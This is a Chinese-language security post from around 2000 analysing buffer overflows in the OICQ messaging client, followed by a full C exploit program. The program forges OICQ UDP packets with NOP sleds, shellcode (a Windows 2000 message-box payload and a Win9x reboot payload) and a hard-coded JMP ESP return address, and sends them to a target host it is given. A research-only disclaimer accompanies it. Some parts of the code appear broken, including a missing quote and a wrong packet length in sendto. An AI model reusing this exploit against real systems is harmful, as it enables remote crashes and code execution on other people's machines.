|
再谈oicq的安全问题 By 袁哥 <yuange@163.net> <http://www.isbase.com/> 拜读了ZER9的《oicq的安全问题》,觉得确实问题比较严重,所以也就抽空分析了OICQ程序,发现不只是存在信息加密、冒充好友等问题,更严重的是存在溢出问题。其0220版本有堆栈缓冲溢出问题、新版本0410同样有溢出问题,只不过是成了堆溢出。其中0220版本的堆栈溢出很容易导致远程执行任意代码。 下面是我编写的溢出执行SHELLCODE的程序,大家可以参看了解问题的严重性。注意此程序只是提供此问题的说明,只用于研究缓冲溢出程序的编写和OICQ缓冲溢出问题的演示,至于用来攻击等本人一律不负任何责任。 /* oicq 199b build 0220 overflow program copy by yuange <yuange@163.net> 2000。04。18 新版本0410有堆溢出,用这程序可以攻击,但不能执行SELLCODE /* /* OICQ消息的UDP数据结构,参见ZER9的《OICQ的安全问题 》 struct TOicqPtoP { char Tag1; // 0x02 // 显然是 Oicq 的协议编号 or 版本,固定 char Tag2; // 0x01 // 显然是 Oicq 的协议编号 or 版本,固定 char Tag3; // 0x07 char Tag4; // 0x00 char Tag5; // 0x78 char Tag6; // 这两个字节相当于 unix 上的进程 ID, char Tag7; // 随便赋值就可。 char cOicqNub[]; // 发送方的Oicq 号码。 exp:123456 char cFF; // 0x1f 在所有的Oicq 信息结构中,分割符都是 0x1f char cR; // '0' 固定 char cFF; // char cE[]; // "75" ,这一位相对固定,可能是操作方式。 char cFF; char cDateTime[]; // exp: "2000-4-10",0x1f,"12:00:12",0x1f char OutMsg[]; // 发送的消息内容。 char cEnd; // 0x03 ,所有的 oicq 信息都已 0x03 为标记结束。 }; */ #include <windows.h> #include <winsock.h> #include <stdio.h> int main(int argc, char **argv) { char *server; char buff1[]="\x02\x01\x07\x00\x78\x11\x22\x33\x33\x33\x33\x33\x1f" "\x30\x1f\x37\x35\x1f" "2000-4-10" "\x1f" "12:00:00" "\x1f"; /* oicq udp head */ char sploit1[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x66\xba\xf9\x0c\x33\xc0\xef\x48\xef "\xeb\xfe"; /* win9x 下的总线控制机器重启动代码 */ char sploit[] ="\x90\x90\x90\x90\x55\x51\x8b\xec\x83\xec\x54\x33" "\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45\xee" "\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1" "\x73\xc6\x45\xf2\x73\x88\x4d\xf3\xc6\x45\xf4\x57" "\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47" "\xc6\x45\xf8\x6f\xc6\x45\xf9\x74\xc6\x45\xfa\x20" "\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd\x21" "\x88\x4d\xfe\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50" "\x51\xc7\x45\xe8\x68\x3d\xe2\x77\xff\x55\xe8\x8b" "\xe5\x59\x5d\x55\x51\x8b\xec\x83\xec\x10\x33\xc9" "\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff\x55\xfc\x8b" "\xe5\x59\x5d"; /* WIN2000的一个显示MESSAGE后退出的代码 参见backend的 《Windows 2000缓冲区溢出入门》 */ //0x77e2e32a //user32.dll JMP ESP char eip[] = "\x2a\xe3\xe2\x77"; /* 要攻击的OICQ机器的系统版本不一样就可能不一样。 */ char buff[0x600]; struct sockaddr_in s_in2,s_in3; struct hostent *he; int i,j; int fd; u_short port; SOCKET d_ip; WSADATA wsaData; int result= WSAStartup(MAKEWORD(1, 1), &wsaData); if (result != 0) { fprintf(stderr, "Your computer was not connected " "to the Internet at the time that " "this program was launched, or you " "do not have a 32-bit " "connection to the Internet."); exit(1); } if(argc <2) { WSACleanup( ); fprintf(stderr,"\n nuke oicq .\n copy by yuange 2000.4.1. \n wellcome to my homepage http://yuange.yeah.net ."); fprintf(stderr, "\n usage: %s <server> [port] \n", argv[0]); exit(1); } else server = argv[1]; d_ip = inet_addr(server); if(d_ip==-1){ he = gethostbyname(server); if(!he) { WSACleanup( ); printf("\n Can't get the ip of %s !\n",server); exit(1); } else memcpy(&d_ip, he->h_addr, 4); } if(argc>2) port = atoi(argv[2]); else port=4000; fd = socket(AF_INET, SOCK_DGRAM,0); i=8000; setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,&i,sizeof(i)); s_in2.sin_family = AF_INET; s_in2.sin_port = htons(500); s_in2.sin_addr.s_addr =0; s_in3.sin_family = AF_INET; s_in3.sin_port = htons(port); s_in3.sin_addr.s_addr = d_ip; bind(fd,&s_in2, sizeof(struct sockaddr_in)); printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port)); for(i=0;i<10;++i){ j=rand(); buff1[0x5]=j; buff1[0x6]=j+1; memset(buff,0x90,0x600); memcpy(buff,buff1,37); // memcpy(buff+7+0x28,sploit,strlen(sploit)); // 0x77e2e32a user32.dll JMP ESP memcpy(buff+7+0x41c,eip,4); // buff[7+0x41c]=0xb0; // buff[7+0x41d]=0xdf; // buff[7+0x41e]=0x74; // buff[7+0x41f]=0x00; j=0x500; buff[j-1]=0x03; fprintf(stderr,"\n send packet %d bytes.",i); sendto(fd,buff,i,0,&s_in3,sizeof(struct sockaddr_in)); } closesocket(fd); WSACleanup( ); return(0); } |